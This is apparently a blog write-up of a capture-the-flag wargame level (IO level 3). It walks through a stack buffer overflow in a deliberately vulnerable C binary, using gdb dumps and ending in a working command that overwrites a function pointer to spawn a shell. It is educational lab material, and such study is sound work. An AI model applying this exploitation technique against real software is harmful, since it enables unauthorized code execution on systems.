Level 3, IO STS

As usual, we will login to user level3 with the password obtained from the previous level.

For this level, we are also given both the source level03.c and the binary level03. Let’s take a look at the source code first.

//bla, based on work by beach

#include <stdio.h>
#include <string.h>

void good()
{
   puts("Win.");
   execl("/bin/sh", "sh", NULL);
}
void bad()
{
   printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}

int main(int argc, char **argv, char **envp)
{
   void (*functionpointer)(void) = bad;
   char buffer[50];

   if(argc != 2 || strlen(argv[1]) < 4)
           return 0;

   memcpy(buffer, argv[1], strlen(argv[1]));
   memset(buffer, 0, strlen(argv[1]) - 4);

   printf("This is exciting we're going to %p\n", functionpointer);
   functionpointer();

   return 0;
}

We can see that we want to execute the good function. By executing the bad function, we can see the memory location of our current position as well as the memory location of where we should be, the good function.

Taking a look at the main function, we can see that the program starts out by assigning a function pointer, functionpointer to the bad location. Followed by initialising a 50 byte character array named buffer. After these two local variables have been declared, it checks that there are two arguments and the second argument’s length should be greater than or equals to 4. Remember that the program name considers as the first argument, therefore we have to supply only one other argument.

The program then calls the memcpy function. This function copies length(argument) bytes from our argument into buffer. Following that, it calls the memset function. This function will set the first length(argument) - 4 bytes of buffer to 0. The program then prints out the value of functionpointer and calls the function at that address.

From what we know, it looks like a stack-based buffer overflow attack. Here is an obligatory link. Go read it and understand what you’re dealing with. This can wait.

Alright, welcome back. We shall now look at how to develop an exploit for this particular program

level3@io:/levels$ gdb -q level03
Reading symbols from /levels/level03...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080484c8 <+0>: push   %ebp
   0x080484c9 <+1>: mov    %esp,%ebp
   0x080484cb <+3>: sub    $0x78,%esp
   0x080484ce <+6>: and    $0xfffffff0,%esp
   0x080484d1 <+9>: mov    $0x0,%eax
   0x080484d6 <+14>:    sub    %eax,%esp
   0x080484d8 <+16>:    movl   $0x80484a4,-0xc(%ebp)
   0x080484df <+23>:    cmpl   $0x2,0x8(%ebp)
   0x080484e3 <+27>:    jne    0x80484fc <main+52>
   0x080484e5 <+29>:    mov    0xc(%ebp),%eax
   0x080484e8 <+32>:    add    $0x4,%eax
   0x080484eb <+35>:    mov    (%eax),%eax
   0x080484ed <+37>:    mov    %eax,(%esp)
   0x080484f0 <+40>:    call   0x804839c <strlen@plt>
   0x080484f5 <+45>:    cmp    $0x3,%eax
   0x080484f8 <+48>:    jbe    0x80484fc <main+52>
   0x080484fa <+50>:    jmp    0x8048505 <main+61>
   0x080484fc <+52>:    movl   $0x0,-0x5c(%ebp)
   0x08048503 <+59>:    jmp    0x8048579 <main+177>
   0x08048505 <+61>:    mov    0xc(%ebp),%eax
   0x08048508 <+64>:    add    $0x4,%eax
   0x0804850b <+67>:    mov    (%eax),%eax
   0x0804850d <+69>:    mov    %eax,(%esp)
   0x08048510 <+72>:    call   0x804839c <strlen@plt>
   0x08048515 <+77>:    mov    %eax,0x8(%esp)
   0x08048519 <+81>:    mov    0xc(%ebp),%eax
   0x0804851c <+84>:    add    $0x4,%eax
   0x0804851f <+87>:    mov    (%eax),%eax
   0x08048521 <+89>:    mov    %eax,0x4(%esp)
   0x08048525 <+93>:    lea    -0x58(%ebp),%eax
   0x08048528 <+96>:    mov    %eax,(%esp)
   0x0804852b <+99>:    call   0x804838c <memcpy@plt>
   0x08048530 <+104>:   mov    0xc(%ebp),%eax
   0x08048533 <+107>:   add    $0x4,%eax
   0x08048536 <+110>:   mov    (%eax),%eax
   0x08048538 <+112>:   mov    %eax,(%esp)
   0x0804853b <+115>:   call   0x804839c <strlen@plt>
   0x08048540 <+120>:   sub    $0x4,%eax
   0x08048543 <+123>:   mov    %eax,0x8(%esp)
   0x08048547 <+127>:   movl   $0x0,0x4(%esp)
   0x0804854f <+135>:   lea    -0x58(%ebp),%eax
   0x08048552 <+138>:   mov    %eax,(%esp)
   0x08048555 <+141>:   call   0x804835c <memset@plt>
   0x0804855a <+146>:   mov    -0xc(%ebp),%eax
   0x0804855d <+149>:   mov    %eax,0x4(%esp)
   0x08048561 <+153>:   movl   $0x80486c0,(%esp)
   0x08048568 <+160>:   call   0x80483ac <printf@plt>
   0x0804856d <+165>:   mov    -0xc(%ebp),%eax
   0x08048570 <+168>:   call   *%eax
   0x08048572 <+170>:   movl   $0x0,-0x5c(%ebp)
   0x08048579 <+177>:   mov    -0x5c(%ebp),%eax
   0x0804857c <+180>:   leave  
   0x0804857d <+181>:   ret
End of assembler dump.
(gdb) break *0x08048530
Breakpoint 1 at 0x8048530
(gdb) run AAAAAA
Starting program: /levels/level03 AAAAAA

Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc60: 0xbffffc80  0xbffffe94  0x00000006  0x00000001
0xbffffc70: 0xb7fff908  0xb7e878d0  0xbffffd84  0xbffffe84
0xbffffc80: 0x41414141  0xb7eb4141  0x0000002f  0xb7fd1ff4
0xbffffc90: 0x00000000  0x080497c8  0xbffffca8  0x08048338
0xbffffca0: 0xb7ff0590  0x080497c8  0xbffffcd8  0x080485a9
0xbffffcb0: 0xb7fd2304  0xb7fd1ff4  0x08048590  0xbffffcd8
0xbffffcc0: 0xb7eb7505  0xb7ff0590  0x0804859b  0x080484a4
0xbffffcd0: 0x08048590  0x00000000  0xbffffd58  0xb7e9ee16
(gdb) next
This is exciting we're going to 0x80484a4
I'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474

Notice at address 0xbffffc80, we can see our A’s printed in hex. Also at address 0xbffffcc0 we can see the address 0x080484a4 which the program claims that we are currently at. Let’s try to increase the number of A’s and see the effect. Let’s use ruby to print 100 A’s and see what happens.

(gdb) run $(ruby -e 'puts "A"*100')
Starting program: /levels/level03 $(ruby -e 'puts "A"*100')

Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc00: 0xbffffc20  0xbffffe36  0x00000064  0x00000001
0xbffffc10: 0xb7fff908  0xb7e878d0  0xbffffd24  0xbffffe26
0xbffffc20: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc30: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc40: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc50: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc60: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc70: 0x41414141  0x41414141  0x41414141  0x41414141

The buffer is being flooded. Let’s print 70 A’s this time.

(gdb) run $(ruby -e 'puts "A"*70')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level03 $(ruby -e 'puts "A"*70')

Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc20: 0xbffffc40  0xbffffe54  0x00000046  0x00000001
0xbffffc30: 0xb7fff908  0xb7e878d0  0xbffffd44  0xbffffe44
0xbffffc40: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc50: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc60: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc70: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc80: 0x41414141  0xb7ff4141  0x0804859b  0x080484a4
0xbffffc90: 0x08048590  0x00000000  0xbffffd18  0xb7e9ee16

Hmm. Looks like it’s not enough. Notice that we can actually count the number of A’s needed to overwrite our target address. Each 0x41414141 address holds 4 A characters, one byte each and we need to reach 80 bytes up the stack to fully overwrite the address 0x080484a4. Let’s try 80 A’s

(gdb) run $(ruby -e 'puts "A"*80')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level03 $(ruby -e 'puts "A"*80')

Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc10: 0xbffffc30  0xbffffe4a  0x00000050  0x00000001
0xbffffc20: 0xb7fff908  0xb7e878d0  0xbffffd34  0xbffffe3a
0xbffffc30: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc40: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc50: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc60: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc70: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc80: 0x08048590  0x00000000  0xbffffd08  0xb7e9ee16
(gdb) next
Single stepping until exit from function main,
which has no line number information.
This is exciting we're going to 0x41414141

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

We got it. We have successfully written over the value 0x80484a4 with exactly 0x41414141. There’s a segmentation fault because there is an access violation when we tried to access the memory at 0x41414141.

To replace it with our required address, 0x8048474, we need to convert our address into little endian, \x74\x84\x04\x08. We can now take away 4 A’s to make room for this new address. Let’s try it out.

(gdb) run $(ruby -e 'puts "A"*76 + "\x74\x84\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level03 $(ruby -e 'puts "A"*76 + "\x74\x84\x04\x08"')

Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc10: 0xbffffc30  0xbffffe4a  0x00000050  0x00000001
0xbffffc20: 0xb7fff908  0xb7e878d0  0xbffffd34  0xbffffe3a
0xbffffc30: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc40: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc50: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc60: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc70: 0x41414141  0x41414141  0x41414141  0x08048474
0xbffffc80: 0x08048590  0x00000000  0xbffffd08  0xb7e9ee16
(gdb) next
Single stepping until exit from function main,
which has no line number information.
This is exciting we're going to 0x8048474
Win.
process 19471 is executing new program: /bin/bash
sh-4.2$ whoami
level4
sh-4.2$

We padded the buffer with 76 bytes of garbage and overwritten the memory address which was holding the value of functionpointer and thus calling the good function giving us the shell required to access the password for the next level.

For completeness, we shall craft the exploit to run outside of gdb. Let’s reuse what we’ve got.

level3@io:/levels$ ./level03 $(ruby -e 'puts "A"*76 + "\x74\x84\x04\x08"')
This is exciting we're going to 0x8048474
Win.
sh-4.2$ whoami
level4
sh-4.2$

Once again, you’ll find the password to the next level at the usual place.

Stanley Tan
@stnly